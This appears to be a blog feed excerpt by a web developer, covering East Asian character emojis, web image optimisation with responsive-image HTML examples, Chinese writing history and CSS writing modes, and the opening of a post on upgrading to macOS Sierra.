Also known as "Squared CJK Unified Ideograph-7a7a". It is a Kanji character, read as "sora" in Japanese and "kong" in Chinese, and can mean "empty" in both languages. In Japanese, it can also mean "sky". The concept of "空" is an integral part of Buddhism. One of the most well-known lines from the Heart Sutra is "舍利子，色不異空，空不異色；色即是空，空即是色。" which means "form is emptiness, and emptiness is form". This particular emoji comes from the phrase "空席", which means "vacancy".

㊗️ Japanese “congratulations” button

Also known as "Circled Ideograph Congratulation". It is a Kanji character, read as "i-wai" in Japanese and "zhu" in Chinese, and means "congratulations" in both languages. It has a celebratory connotation, and is commonly used in the phrase "祝福", which means "blessings" in both languages.

㊙️ Japanese “secret” button

Also known as "Circled Ideograph Secret". It is a Kanji character, read as "hee" in Japanese and "mee" in Chinese, and means "secret" in both languages, from the phrase "秘密". It is also used in several other phrases with completely different meanings, like "秘書", which means "secretary".

🈺️ Japanese “open for business” button

Also known as "Squared CJK Unified Ideograph-55b6". It is a Kanji character, read as "ei" in Japanese and "yin" in Chinese, and as a noun can mean "camp" in both languages. This character is only used in Japanese, even though it is a recognised Chinese character, it is always written as "营", with the exact same meaning. This particular emoji probably comes from "営業", which means "business is operational" and its Chinese equivalent is "营业".

🈵️ Japanese “no vacancy” button

Also known as "Squared CJK Unified Ideograph-6e80". It is a Kanji character, read as "mitsuru" and "mun" (as in "bun") in Chinese, and means "full" in both languages. This is also a Japanese only character, as the Chinese equivalent is "满", which means the same thing. Its usage as part of other phrases is similar in Japanese and Chinese, like "満足" or "满足" means "satisfied".

Wrapping up

So that's 17 East Asian character emojis covered. Plus the short version of the emoji origin story and some unlikely (in my opinion) sources as well. I hope you also picked up some knowledge about the Chinese and Japanese language.

There are lots of people, like the aforementioned Jennifer 8. Lee and Yiying Lu, who love emojis. So here's a shout-out to 2 of my favourite emoji people. First is Jeremy Burge, Founder and Chief Emoji Officer at Emojipedia.

Not going to lie, it might be the best job too https://t.co/SHnqyBD9Ee
— Jeremy Burge (@jeremyburge) November 29, 2016

And Monica Dinculescu, who builds lots of wonderful emoji-related side projects and created the original emojis as a font that all of us can use if we want to.

🔥 I recreated the original DoCoMo emoji set and shipped it as a font that you can use! 🎁https://t.co/Lhq25y3OkT pic.twitter.com/sWCPYP9LO3
— Monica Dinosaurescu (@notwaldorf) October 4, 2016

2016 hasn't been the best of years, to be honest. But let's all hang in there. Here's to the dawn that comes after the darkest of nights 🍷.

Emoji resources 🤓

Websites and documents

Articles

Credits: OG:image from New York Times article: Look Who’s Smiley Now: MoMA Acquires Original Emoji

Images, the web's nutrition problem

Thu, 22 Dec 2016 00:00:00 GMT

Okay, that wasn't my best headline, writing is hard 🤷. But let's face it, the web has an obesity problem. I remember the first time I did some research for a talk I gave at Talk.JS back in 2015, and found the httparchive, which had statistics on web page sizes since 2010. I said that exact phrase during the talk, and let's just say I don't think the web has started on its diet plan or gym membership yet.

And because I'm a weirdo who likes charts, I wanted to see how this weight gain happened over the past 6 years. It probably crept up on us, I mean, you can't just wake up 30 pounds heavier overnight. As of 2 Dec 2016, the average size of a web page is 2.46mb, and 1.623mb (or 65.9%) of that is made up of images. So I plotted the weights of different content types over time to how the trend looked. If images were donuts, the web was eating more and more of them over time.

Throwing numbers like I just don't care

Research conducted by FT.com revealed that a slowdown of 3 seconds on page load time caused a mean percentage drop of 7.9% in article views over a period of 28 days. From an ecommerce perspective, Akamai conducted a survey back in 2009 which showed that consumers start to get impatient when pages take longer than 2 seconds to load. Mozilla managed to increase download conversions by 15.4% by shaving 2.2 seconds off their landing page load time back in 2010.

According to ICT Facts and Figures 2016 report published by the International Telegraph Union (ITU), mobile broadband subscriptions are growing at a much faster rate than fixed broadband subscriptions in developing countries.

But the matter of fact is only 15% of the world's citizens have access to affordable high-speed internet. It is our responsibility as people who build for the web to optimise our sites and applications so we are not exacting additional economic burden to our users, especially those 85% for whom high-speed internet is a significant expense.

Besides, the average internet user is no longer someone who's sitting at a desk, tapping away on a keyboard. People are using the internet from their smartphones and tablets, scrolling through their newsfeeds on the toilet, watching videos on the bus, sending chat messages while walking down the street.

And because they are mobile, a stable and fast internet connection is not guaranteed. Google's analysis of mobile latency published in September 2016 showed that the average load time for mobile sites is 19 seconds over 3G connections. Usain Bolt can run 200m in that time 🏃🏿.

Anyway, the point is, big images + spotty connection = 💩 experience.

But we must have images...

Must you?
Really?
*my face here, with one raised brow (emoji coming in 2017) *

Okay, I shan't be unreasonable here, but there is value in taking the time to consider alternatives to using an image where possible. Gradients, shadows and rounded corners can all be done using just CSS. We can even do all manners of decorative shapes using just HTML and CSS, check out A Single Div. Maybe the stuff on there is a little too elaborate, but it shows that we can do a lot with CSS nowadays.

Designing for the web requires that we understand the nature of the web, how browsers behave. Browsers render all the elements that make up a web page sequentially, after the HTML has been first parsed. The remaining assets that make up the web page, things like scripts, stylesheets and images, are retrieved in subsequent requests to the server.

These round trips between the browser and server take time, and are expensive in terms of performance. A large image simply takes more time to load. If your user is on a spotty internet connection, large images clogging up the already limited bandwidth is just going to slow your page load time to a crawl.

Web design is its own domain, with its closest counterpart being print design. But one is dynamic and fluid (the web, just in case you lost me), while the other is static. We sometimes fall into the trap of treating the web like a static medium, trying to herd pixels into exact positions. Let's not do that. Let's embrace the nature of the web. To quote Jen Simmons,

Translate. Don't Transfer.

So yes, the inability to use unlimited hi-resolution images in your web design is a constraint, but that's not a bad thing. Constraints fuel creativity.

Give your images a makeover

Let's talk about the art direction of the images themselves first. There are certain tricks we can employ to reduce image file sizes. Most images and photographs have a point of focus, where we want users’ eyes to be drawn to. For such images, keep that area sharp while blurring everything else. This works for a variety of styles of images, from headshots to product images.

Marketing image

Product shot

You can apply a Gaussian blur to the non-critical areas of the image. Blurring the background can also simulate a shallow depth of field. If you’re using Photoshop, then using Lab Colour mode allows you to apply a stronger blur without compromising foreground quality. Convert the image to Lab Colour and apply the blur to the a and b channels, while maintaining definition in the Lightness channel.

Grey-scale images have smaller file sizes than colour images, hence if art direction permits, using grey-scale images saves quite a bit. Monochromatic designs have 1 single base colour, with splashes of a complimentary accent colour. Such designs avoid the problem of colour clashes, and with less distraction, can provide more focus on the content. Of course, this isn’t suitable for every website, but can be a design choice to consider, if appropriate.

Blank Art Direction

Mulberry Street Creative

Ideally, you’d want to export your images using your image editor’s “save for Web” (or similar) functionality, as demonstrated earlier, and then run them through a specialized image optimiser. Plenty of such options exist, either online or as installed applications, like FileOptimizer for Windows or ImageOptim for Mac and Linux.

I want to once again emphasise that I'm not asking designers to eschew images altogether. Graphics are a very important aspect of visual communication. Rather, we can start considering incorporating images in a way that does not compromise performance. This would require some general knowledge about how digital images work.

Let's learn more about digital images

Digital images are fascinating, if you think about it. How is it possible that we can capture a snapshot of something in real life and recreate it on a screen? Or create any visuals at all using a computer? It's all data expressed as light and electrical signals.

Ah, technology.

Stanford's CS101 covers the basics of digital images rather well, among lots of other computing-related fundamentals.

Image data can be stored in a variety of formats, they can be compressed, uncompressed or vector. The 2 major families of graphic formats are raster, which uses lots of individual coloured pixels to form complete images, and vector, which uses mathematical formulae to create polygons as images on the screen. Even though there are hundreds of proprietary image formats out there, we've settled on a handful of general purpose formats.

I personally learnt a lot about images from Colt McAnlis's articles and episode #36 of the Toolsday podcast. You should check them out.

JPEG (Joint Photographic Expert Group)

JPEG is a lossy file format that was developed for compressing photographic images by removing information from the file that is less discernible to the human eye. JPEGs are ideal for photographic images that don’t require transparency rather than line drawings or images that require precision and sharpness.

With JPEG, you shouldn’t save the same image file again and again because doing so degrades the quality of the image substantially. Instead, it’s better to export the original working file as a JPEG image only as a last step before publishing. When saving JPEGs with your image editor, there is the option of adjusting the quality of the resultant image.

Original

Save for Web

The original image on the left clocked in at 79kb, but after using the Save for Web option in Adobe Photoshop at 60 percent quality, the file size was halved, but the difference is barely discernible (I'm sorry you had to download an unoptimised image for this).

There are more objective methods than “eye-balling it” to determine the appropriate quality level, however. For example, you can use open source tool Butteraugli as a quality metric for lossy image compression.

In general, the human eye cannot really discern the difference between 75% and 100% quality, but the file size savings are significant. JPEG images are divided into 8x8 pixel blocks upon saving, and if the quality is set too low, this blockiness becomes apparent. Each of these 8x8 blocks are optimised independently. Aligning the edges of your image to an 8-pixel grid helps the optimiser keep the image sharp. Especially effective if your image is rectangular.

PNG (Portable Network Graphics)

Portable Network Graphics (PNG) is a lossless file format good if you need a fine level of detail in your images. PNGs also handle transparency much better than Graphic Interchange Format (GIF) files.

PNG8 is the indexed colour-depth version, which produces smaller file sizes but can only store 256 colours. PNG24 has a direct colour depth and can store the entire gamut of colours, but the files will end up significantly larger than JPEGs or GIFs. Picking the appropriate format for your image can save you quite a bit, i.e. it’s safe to use the PNG8 format if your image doesn’t have a lot of colours.

Reducing the number of unique colours in your PNG can improve scanline filtering and achieve better image compression. One way to do this is with the Posterize function in Photoshop, which can be found in the Layers palette. Pick the smallest amount of levels you can get away with.

The main reason for using PNGs is transparency. Often, designers will crop the outline of a particular object/person from a source image for use on another background. The downside is that such image files would be considerably larger than if they were saved in another format, like JPG.

SVG (Scalable Vector Graphics)

For icons and simple shapes, Scalable Vector Graphics (SVG) is your best bet. SVGs are an XML-based vector image format, which scale perfectly without increasing file size. An optimized SVG is often a fraction of the size of its rasterised counterpart.

SVGO is an excellent Node.js–based tool that can help strip redundant information from SVGs without affecting rendering. You can install and use it directly from the command line or as part of a project build step. There is also an online web app, SVGOMG which serves as a GUI version of the tool.

Being XML-based, SVGs also benefit from gzip compression on the server-side to reduce file transfer size. Make sure to configure your server to enable gzip compression.

GIF (Graphic Interchange Format)

GIF is also a lossless file format and has been around for a long time, so it has excellent support. When PNGs were first introduced, GIFs were considered a safer choice, but today, the only viable use case for GIFs is animation. If you can get away with it, muted videos can actually be smaller in size with better quality.

If you have to use an animated GIF, there are a couple of things you can do to reduce file sizes. The simplest thing to do is literally make the image smaller in size. There’s a reason why many GIFs you see online are around 400px wide, and still come in at around 1 to 2mb.

Reducing the number of frames is also a good option. You can delete every second or third frame from the Timeline Panel, then increase the duration of the remaining frames to compensate for the removed frames, otherwise your animation will run faster.

Reducing the number of colours to 64 or less can save you space as well, although you will have to use some discretion to whether you can accept the decrease in quality. Most GIFs you see online tend to be low quality for this reason. Dithering can help with the quality, but keep in mind that more dithering increases the image size. The Diffusion algorithm in Photoshop lets you adjust the amount of dithering on your image.

Some other options available in Photoshop include Web Snap, which snaps some of the colours in your GIF to web-safe colours, sort of an anti-dithering actually. Lossy compression will remove some visual information to save on file size, and deselecting Transparency will fill semi-transparent and transparent pixels with a matte colour instead. Checking the Interlaced option loads the image in several passes, like progressive JPGs.

New image file formats

There are also a number of new formats being developed that offer higher quality at lower file sizes. As of now, these formats are far from being universally supported. Still, it's good to know about their existence and follow their development as we go along.

WebP

WebP is an image format for the web developed by Google that provides both lossless and lossy compression. Both compression formats support transparency and generally result in file sizes that are 3/4 the size of a comparable PNG image. It is natively supported in Chrome and Opera.

FLIF (Free Lossless Image Format)

FLIF is a very recent lossless image format that supports progressive decoding. Based on benchmarking done by Cloudinary, it seems to outperform all other image formats available at the moment. Currently, FLIF is not natively supported in any browser. To use it now, you will need to utilise the Poly-FLIF polyfill.

BPG (Better Portable Graphics)

BPG is a new image format meant to replace the JPEG image format. It has a high compression ratio and unlike JPEG, supports transparency. To use BPG, you will need to integrate a JavaScript BPG decoder (56kb gzipped) in your site for browsers to recognise the image.

JPEG-XR (JPEG extended range)

JPEG-XR was originally developed by Microsoft as HD Photo, and supports both lossless and lossy compression. It also supports transparency, and has higher compression ratios than JPEG at similar image qualities. JPEG-XR has multiple possible file extensions: .jxr, .hdp and .wdp. Unfortunately, only Internet Explorer and Edge supports this format.

Responsive images on the web

The concept of responsive design revolves around having a single website that adapts to the screen-size its being displayed on. The problem with such an approach is that the same content is being served regardless of device, same text, same stylesheets, same scripts, and most critcally, same images.

Remember that images make up 64% of page weight? If only there was a way to serve lower resolution (thus smaller) images on devices with small screens to save space. Here’s where the picture element and the srcset attribute come into play.

The picture element and srcset and sizes attributes have been drafted into the HTML 5.1 specification; as of October 2016, all major browsers (except Internet Explorer and Opera Mini) fully support both picture and srcset. The specification was developed from practical use cases for responsive images and tackles the following issues:

Device pixel ratio–based selection
Viewport-based selection
Art direction–based selection
Image format–based selection

Just to clarify, picture is an HTML element, while srcset and sizes are attributes for the img element. Depending on your use case, you may not need the picture element to use responsive images.

Before this specification existed, browsers had no way to know the image size relative to the viewport or the source file’s dimensions, making it impossible for the browser to intelligently serve the appropriately sized image. With srcset, you can declare a set of image sources complete with pixel density or width information to the browser using x and w descriptors, respectively. The sizes attribute lets you tell the browser what size the image will be at a particular viewport width.

The picture element is a wrapper for the img element and its src attribute. The source element, in this case, will be familiar to you if you’ve used the video or audio elements before. You can use multiple source elements to specify multiple media resources for use.

If you want to serve the exact same image but in different sizes or pixel densities, then you should use an img element with the srcset attribute defined. If you want to serve a specific image at a specific breakpoint or serve images in one of the newer formats, then you should use the picture element, instead.

Note that for all the use cases, whether you’re using picture or srcset and sizes, the image src attribute MUST be present. Apply alternative text to the img element, not the picture tag. If an older browser encounters such code, it will just read off the image’s src attribute like any other image, so your image won't be broken.

Code Examples

The markup for using picture and srcset probably takes some time to wrap your head around, so here are some examples.

Device pixel ratio–based selection:

<img srcset="mark-383.jpg 1.5x, mark-510.jpg 2x" src="mark-255.jpg" alt="Outsider's mark" />

Viewport-based selection:

<img
  srcset="kaldwin-480.jpg 480w, kaldwin-640.jpg 640w, kaldwin-960.jpg 960w, kaldwin-1280.jpg 1280w"
  sizes="(max-width: 400px) 100vw,
             (max-width: 960px) 75vw,
             640px"
  src="kaldwin-640.jpg"
  alt="Emily Kaldwin"
/>

Art direction–based selection:

<picture>
  <source media="(min-width: 960px)" srcset="karnaca-large.jpg" />
  <source media="(min-width: 575px)" srcset="karnaca-medium.jpg" />
  <img src="karnaca-small.jpg" alt="City of Karnaca" />
</picture>

Image format–based selection:

<picture>
  <source type="image/vnd.ms-photo" src="far-reach.jxr" />
  <source type="image/jp2" src="far-reach.jp2" />
  <source type="image/webp" src="far-reach.webp" />
  <img src="far-reach.png" alt="Emily's power: Far reach" />
</picture>

There are many comprehensive articles on responsive images that delve into details from origin, to implementation, to the future. Jason Grigsby's Responsive Images 101 series is an excellent place to start. Eric Portis has also written many articles on the topic. Just google "Eric Portis responsive images".

Wrapping up

Okay, that went on for longer than I expected. But that's because images is such a heavy topic (pun completely intended). On a more serious note, it really is vital that designers and developers are cognizant about page weight issues. Creating sites that are light-weight and load properly even with a slow connection is part of building a better web, and is something I aspire to do. Join me in this effort?

Chinese language on the web

Mon, 07 Nov 2016 00:00:00 GMT

If you hadn't realised by now, I am Chinese. I was born in Malaysia, then studied and now work in Singapore. Like many others with similar backgrounds, we speak both English and Chinese with native fluency, plus a smattering of other languages and dialects here and there.

A couple of months back, I went down a rabbit hole while researching my article on CSS display and discovered the HTML ruby element. There was also an article by Ahmad Shadeed on CSS Writing Mode that was making its rounds on the interwebs. And this got me thinking about Chinese typography on the web.

Again, this is one of those posts that grew from a cute little cub into a full fledged Giant Panda, sooo here's a content list. ¯\_(ツ)_/¯

Some background and history
- Writing systems
- A little Chinese history
Research-triggered brain dump
- Do you AU?
- Punctuate what?
Chinese fonts, offline and online
Laying out Chinese fonts on the web
Let's build a demo
- Typographic styles for Chinese text
- Mode switcher? Anyone?
Wrapping up
Further reading

Some background and history (skip to next section)

Writing systems

There are more than 6000 languages in the world today and hence many different writing systems. Not every writing system utilises a left-to-right, downward block flow direction that is commonly seen in Latin-based systems.

For example, Arabic-based scripts and the Hebrew alphabet are written from right-to-left with a downward block flow direction, while Han-based scripts can be written from left-to-right with a downward block flow OR from top-to-bottom with a leftward block flow direction.

Writing directions of the world

The purpose of the internet is to connect people around the world, and to do that, the Web needs to cater for the various writing systems out there. The W3C Internationalization (i18n) Activity serves this purpose, to make it possible to use Web technologies with different languages, scripts and cultures.

A little Chinese history

To be fair, Chinese history is too vast a subject for a blog post. It warrants an encyclopaedic series of tomes. Instead, let's talk a bit about Chinese characters. Chinese is a logographic writing system, whereby each character itself holds meaning, whether alone or as part of a phrase. Until I researched this topic, I didn't realise that Chinese is the only logographic writing system left that is widely used in the modern world.

甲骨文 (Oracle bone script)

A common misconception about the origin of Chinese writing is that 甲骨文 (literally translates to Oracle bone script) was the earliest form of Chinese characters. These characters were carved onto animal bones or turtle shells, and mainly used for divination during the Shang dynasty.

However, given its level of sophistication, Professor Zheng Huisheng (郑慧生老师) from Henan University posited Chinese writing had its roots in an earlier form, 陶文 (script etched on ancient pottery). Regardless, Chinese script underwent thousands of years of evolution over the dynasties before maturing into the form we know and use today.

Besides the characters themselves, there's also the issue of how these characters were laid out into texts. Traditionally, Chinese characters were written from top-to-bottom, right-to-left. Nowadays, it is quite common to see Chinese texts being laid out in a typical Western horizontal layout, and read from left-to-right instead.

The first known publication that utilised a horizontal layout was 《科学》, a science magazine which, in its inaugural issue on January 1915, attributed the choice of horizontal layout purely for the sake of convenience of printing formulae.

本雜誌印法，旁行上左，並用西文句讀點之，以便插寫算術及物理化學諸程式，非故好新奇，讀者諒之。

Although there wasn't a conclusive explanation (that I could find) on why Chinese script traditionally used the vertical right-to-left layout, the matter of fact is nowadays, most Chinese books use the horizontal layout. This paradigm shift was largely attributed to the 新文化运动 (New Culture Movement) during the mid 1910s and 1920s, when several prominent scholars led a revolt against traditional Chinese culture and Confucianism.

Interesting fact, the founder of my alma mater, 陈嘉庚 (Tan Kah Kee), first proposed horizontal typesetting in June 1950 at the Second Session of the First Chinese People's Political Consultative Conference (CPPCC) National Committee. Following that, on 1 Jan 1955, 《光明日报》published its first left-to-right edition stating that the move to a horizontal layout is simply a step forward in development.

中国文字的横排横写，是发展趋势。

The 19th and 20th centuries was a tumultuous time for China, and the aforementioned New Cultural Movement not only triggered a pivot in text layout, it also saw the introduction of simplified glyphs. 钱玄同 (Qian Xuantong), who was one of the key figures of the New Cultural Movement, played a pivotal role in this endeavour. As a result, we now have 2 "versions" of Chinese glyphs, simplified and traditional. The former used widely in China and Singapore, while the latter is commonly used in Taiwan, Hong Kong and somewhat in Malaysia.

Research-triggered brain dump (skip to next section)

As mentioned, I seem to be awfully fond of going down rabbit holes and often barely 20% of what I read and discover end up in the article. What started out as a brief foray into the history of Chinese writing ended up becoming a deep dive into how the world ended up the way it is. There are a lot of ideas that popped into my head during this process and I'm just going to dump them here. Feel free to skip forward (but 😘 if you read through).

Do you AU?

My understanding about the history of computing came from reading books and watching the odd documentary. Recently, Jen Simmons posted a tweet asking about graphic design resources from a non-American perspective. This got me thinking. I suppose the reason for vertical scrolling is because the Western world had a step up, a first-mover advantage, if you will, when it came to digital.

But why was that? Why didn't the Industrial Revolution happen in China, given that it was comparably developed back during the 18th century. A couple papers I read proposed some theories I found pretty thought-provoking.

Before the Great Divergence: The modernity of China at the onset of the industrial revolution by Jan Luiten van Zanden proposed that China didn't 'miss' the Industrial Revolution. Rather, it did not need it at the time. China was one of the most technologically advanced civilisations for a large swath of human history, and perhaps this may have been its disadvantage as well. Innovation is often borne from necessity, and I'd like to think that the Chinese invention of printing was a prime example of that kind of innovation.

毕昇插图

FYI, printing was invented by 毕昇 (Bi Sheng) during the Song dynasty. Not much is known about the details of his life, but it seemed he worked at a print shop. It was there he created the first movable type system using clay types.

Imagine an alternate universe where Eastern culture reigned supreme. How would we code if Chinese was the universally used language of choice. I find this almost as abstract as imagining higher dimensions. Because I'm already so anchored by code being written in alphabets, I wonder how code would have been written using a logographic writing system. Perhaps the keyboard wouldn't be the primary input mechanism at all. How differently would the world have developed?

Punctuate what?

I also wandered down the rabbit hole of punctuation, largely because I often swap between Chinese and English when messaging my friends and punctuation using Chinese language input is mono-spaced. I use the ellipsis way too much than I should and end up switching inputs simply to type in 3 periods in my Chinese conversation. So I wondered if Chinese language originally had punctuation to begin with. As far as I knew, the ancient scrolls I saw in museum exhibits never had commas or periods.

Traditionally, Chinese was written in its classical form, known as 文言文 (possibly translated as Literary Chinese, I think). Its beauty is in that a lot of meaning can be expressed in very few words. Punctuation was generally not required as the necessary pauses could be inferred from standardised sentence structures and phrases used, giving a natural cadence when read.

戏本子

As the language evolved, the spoken version of Chinese started to diverge from this classical style and eventually became quite distinct. Even though some well-known novels like 红楼梦 (Dream of the Red Chamber) and 西游记 (Journey to the West) were written in vernacular Chinese, formal texts were written in classical Chinese. Hence, a majority of the population who weren't educated in classical Chinese could not understand much of the printed texts.

Part of the New Cultural Movement also involved the spread of vernacular Chinese as the mainstream form of written Chinese, in a bid to increase literary rates among the people. As much of this linguistic development was modelled after Western doctrines, punctuation found its way into written Chinese texts.

Chinese fonts offline and online (skip to next section)

The details are fuzzy to me now, but I do recall hours spent troubleshooting why Chinese wouldn't display correctly on the various computers I was tasked to fix years ago. Text would appear as 乱码 or 豆腐, each character displayed as a rectangular block instead of legible text. Chinese input was sketchy on Windows 95, so we used a software called Chinese Star instead.

Chinese language support nowadays is pretty good IMHO, and I can't remember having to explicitly troubleshoot display issues in recent years. Although I read and write Chinese quite often on my PC, I don't actually use any Chinese software applications, so if you have issues with those, check out Pinyin Joe's Chinese Computing Help Desk.

A common term when discussing Chinese fonts is CJK, which simply stands for Chinese/Japanese/Korean fonts. Adobe developed the CID-keyed font file format for fonts with large character sets, and CJK fonts were derived from this technology. A typical professional Chinese font has around 20,000 glyphs, give or take a couple thousand, which explains why most Chinese font files measure in the megabyte range. This also makes using custom fonts online quite a challenge.

My go-to resource for all things Chinese fonts online is UI consultant, Kendra Schaefer. She wrote very comprehensive posts on using Chinese web fonts on her own blog and a complete primer to Chinese typography for Sitepoint. You should really read them. If you want to use Chinese web fonts for your project, she's got you covered.

Laying out Chinese fonts (skip to next section)

But we want to talk about layout for Chinese fonts, using CSS. The CSS Writing Modes Level 3 module covers CSS support for various international writing modes, from left-to-right, right-to-left, bidirectional and vertical. The specification has some terminology that describes the flow of text for writing systems.

Basic terminology

The inline base direction refers to the direction that content is ordered on a line, and defines where the line starts and ends. This post's inline base direction is left-to-right. The direction property, the unicode-bidi property (more on this later) and the inherent directionality of any text content will dictate the ordering of inline-level content within a line.

The block flow direction refers to the direction block-level boxes stack and the direction of this stacking within their container. The writing-mode property dictates the block flow direction. So for this post, the block flow direction is top-to-bottom.

Vertical left-to-right

Vertical right-to-left

Horizontal left-to-right

The typographic mode is applicable to vertical scripts (think traditional Chinese or Japanese), and dictates if the text should have typographic conventions for vertical flow, which is different from a rotated horizontal script.

Vertical flow

Rotated horizontal flow

There are 2 writing modes, horizontal writing mode has horizontal lines of text which flows from top to bottom, vertical writing mode has vertical lines of text which can flow from left to right or right to left.

Certain scripts, like those written in Arabic or Hebrew, have a bidirectional property, whereby characters or words on the same line of text have mixed directionality. It's quite common to have scripts interspersed with Latin characters, and this becomes rather tricky to render.

Browsers utilise the Unicode Bidirectional Algorithm or bidi algorithm to render text in the correct order. For Chinese, this is less applicable, so I won't cover it in detail.

`writing-mode` property

This property dictates whether lines of text in a block are laid out horizontally or vertically, and the direction of these blocks. It is fully supported by all current browsers except Opera Mini.

horizontal-tb

Text is rendered from left-to-right, with a top-to-bottom block flow direction. Both the writing-mode and typographic-mode are horizontal. This is the default initial value.
Live example:
从1987到现在

vertical-rl

Text is rendered from top-to-bottom, with a right-to-left block flow direction. Both the writing-mode and typographic-mode are vertical.
Live example:
从1987到现在

vertical-lr

Text is rendered from top-to-bottom, with a left-to-right block flow direction. Both the writing-mode and typographic-mode are vertical.
Live example:
从1987到现在

sideways-rl*

Text is rendered from top-to-bottom, with a right-to-left block flow direction. The writing-mode is vertical but the typographic-mode is horizontal, with the glyphs set sideways on their right side.
*Experimental value, may or may not continue to be in the specification
Live example (only works in Firefox):
从1987到现在

sideways-lr*

Text is rendered from top-to-bottom, with a left-to-right block flow direction. The writing-mode is vertical but the typographic-mode is horizontal, with the glyphs set sideways on their left side.
*Experimental value, may or may not continue to be in the specification
Live example (only works in Firefox):
从1987到现在

`text-orientation` property

A writing system can have either horizontal-only native orientation, vertical-only native orientation or be bi-orientational. Chinese, or the Han writing system is bi-orientational, which means text can be laid out vertically or horizontally. The specification contains a list of scripts categorised by native orientation.

Browsers assign all glyphs a horizontal orientation by default, and for vertical layouts, the user agent needs to transform the text to a vertical orientation. This transformation is known as the bi-directional transform and there are 2 ways to do this, by rotation or by translation.

Rotate

Translate

Most CJK characters translate, which means they always remain upright, and orientate correctly when laid out vertically. The text-orientation property specifies the orientation of text within a line, and only apply to vertical typographic modes. There is no effect applied when writing-mode is set to horizontal-tb.

mixed

Scripts that are horizontal-only will have their characters typeset sideways (rotated 90° clockwise) while vertical scripts will be typeset upright. This is the default initial value.
Live example:
从1987到现在

upright

All text will be typeset upright, with each character in their standard horizontal orientation.
Live example:
从1987到现在

sideways

All text will be typeset sideways (rotated 90° clockwise), as if in a horizontal layout.
Live example:
从1987到现在

`text-combine-upright` property

This property also only applies to vertical writing modes. It combines multiple character glyphs into the space of a single typographic character unit. The most common use case for this is rendering dates, especially those for the Japanese or Taiwanese calendar (because their years are less than 4 digits long).

none

Normal rendering. No special processing. This is the default initial value.
Live example:
民國101年7月22日

all

Browser will attempt to fit all consecutive characters within the box so they take up the space of a single typographic character unit within the vertical line box.
Live example:
民國101年7月22日

digits <integer>*

Browser will attempt to fit the number of digits specified so they take up the space of a single typographic character unit within the vertical line box. Default to 2 if no integer is specified. Only integers in the range 2-4 are valid.
*Not supported by any browser at time of writing
Live example:
民國101年7月22日

Let's build a demo! (skip to next section)

Typochina is a research group out of Comdesign Lab, a design research institution established by the School of Design of Hunan University. They've published a number of articles about the history, various resources and research on Han characters. If you can read Chinese, you definitely should check it out. I've used the article 文字的故事 for this typographical experiment.

Here be the demo.

Typographic styles for Chinese text

I came across this fantastic project called 汉字标准格式 which is a CSS typography framework optimised for Hanzi. For my demo, I didn't need such an extensive framework but I did use it for reference when it came to writing my own styles.

My main source of reference was W3C's Requirements for Chinese Text Layout. My typographic styles are very basic, covering fonts, line height, margins and spacing, without the use of any resets. I left most of the default browser styles in place.

I also changed the text from Simplified Chinese to Traditional Chinese, this is more of a personal style preference. For Traditional Chinese fonts, the punctuation is positioned in the middle of the bounding box, while Simplified Chinese fonts have the punctuation skewed to the left-bottom corner. I felt it looked better for the punctuation to be centred for the vertical layout. Besides, it's more common to see Traditional Chinese laid out vertically than Simplified Chinese anyway.

I found out that if you don't explicitly set a Traditional Chinese font, the punctuation will always be in the Simplified Chinese style (spent way too much time figuring this one out 😭). If you read the previous section on Chinese web fonts, you'll know that custom fonts are huge. So system fonts are preferable. I chose to use 黑体 (Chinese version of sans-serif) as the body font. Font stack looks like this:

body {
  font-family: "Microsoft JhengHei", "微軟正黑體", "Heiti TC", "黑體-繁", sans-serif;
}

The line-height was set to 2, given that Chinese text is visually more dense, more breathing room is necessary. As per the layout requirements, text-align was set to justify. Chinese fonts do not have italics, so for my figcaptions, I chose a different font family instead. I set the line-height a little tighter for figcaptions, because there is less text there and also to differentiate them from the body copy a bit more.

figcaption {
  font-family: "MingLiU", "微軟新細明體", "Apple LiSung", serif;
  line-height: 1.5;
}

Cross-browser font support is a bit tricky when it comes to mobile devices, because it seems that there is no 宋体 (Chinese equivalent of serif) for iOS or Android. So that's that. This warrants further confirmation with someone more experienced than me, so I might update this part in future.

The suggested line length for Latin-based scripts is around 45-75 characters per line, but for Chinese characters, that's a little too long. I found that around 30-40 characters per line works out quite well. I took some reference from print, in commonly seen book heights and line lengths for popular paperback novels.

Mode switcher? Anyone?

I also thought it'd be interesting to add a mode switcher (seemed like a good idea at the time) so people can swap between horizontal and vertical layouts. This switcher would be on top of the page, the first element in the body. Naturally, when you toggle the layout, the switcher jumps to the right of the page instead. Fixing its position on the top left corner of the page was probably a better idea.

The switcher utilises the checkbox hack to trigger the switch in writing-mode. After a LOT of experimenting, I ran into a couple of issues. Firstly, when the writing-mode changes from horizontal to vertical, the scrolling still starts from left to right. This means users see the end of the article when I switch to vertical right-to-left mode and need to scroll all the way to the right to get to the start of the content.

Another issue was related to art-direction of the images on the page. I started off the design for a vertical layout, so my images were portrait-oriented (is that even a term?). But when the layout switches to horizontal mode, the images look out of place. I wish the picture element took writing-mode as a media query, but I suppose this use-case is quite niche. Who on earth would want to switch text orientation? 🙋

My end solution is more of a hack than a solution, but I categorised the images into 3 groups, rotatable, stackable and square. Let me explain. Rotatable means that the image works simply by rotating it 90 degrees. Stackable is actually 2 images that are stacked when vertical and side-by-side when horizontal, and square just means the image can be used for both vertical and horizontal layouts. As I said, this is a hack.

Flexbox was pretty useful for my art direction problem. So for the stacked category of images, and activating flex-wrap to wrap on the vertical layout did the trick. I personally think all this will make much more sense if you refer to the source code for the demo.

Wrapping up

What started out as an article to explore the CSS writing mode property grew into an exploration of Chinese history and the key circumstances that led to the China that we know of today. But it also made me realise that a lot of the articles and books I read are very skewed towards western and American perspectives (not that it's a bad thing, just an observation).

I'm lucky enough to be fluent in Chinese, and hence there is a wealth of resources written from an Eastern perspective (okay, mainly Chinese) that are accessible to me. But this also made me realise that the onus is on me to seek out perspectives that are different from what I'm familiar with. There are so many different writing systems and scripts other than those I'm familiar with, and I'll definitely be looking into those moving forward. Fun times ahead, people.

Upgrading to macOS Sierra

Tue, 27 Sep 2016 00:00:00 GMT

macOS Sierra was officially released on 20 September 2016. That's 1 week ago at time of writing. The day of the release, there were loads of articles appearing in my RSS feed (yes, I still use one, stop judging 😠) with the title "Should you upgrade to macOS Sierra?" or something along those lines.

I skimmed through those articles but nothing significant jumped out at me other that some people had issues with their Keychain access or something. But given I was in the midst of crunch time for a project, I held off on upgrading until yesterday. Given my machine is an early-2015 MacBook Pro running El Capitan, I thought it wouldn't be much trouble to upgrade.

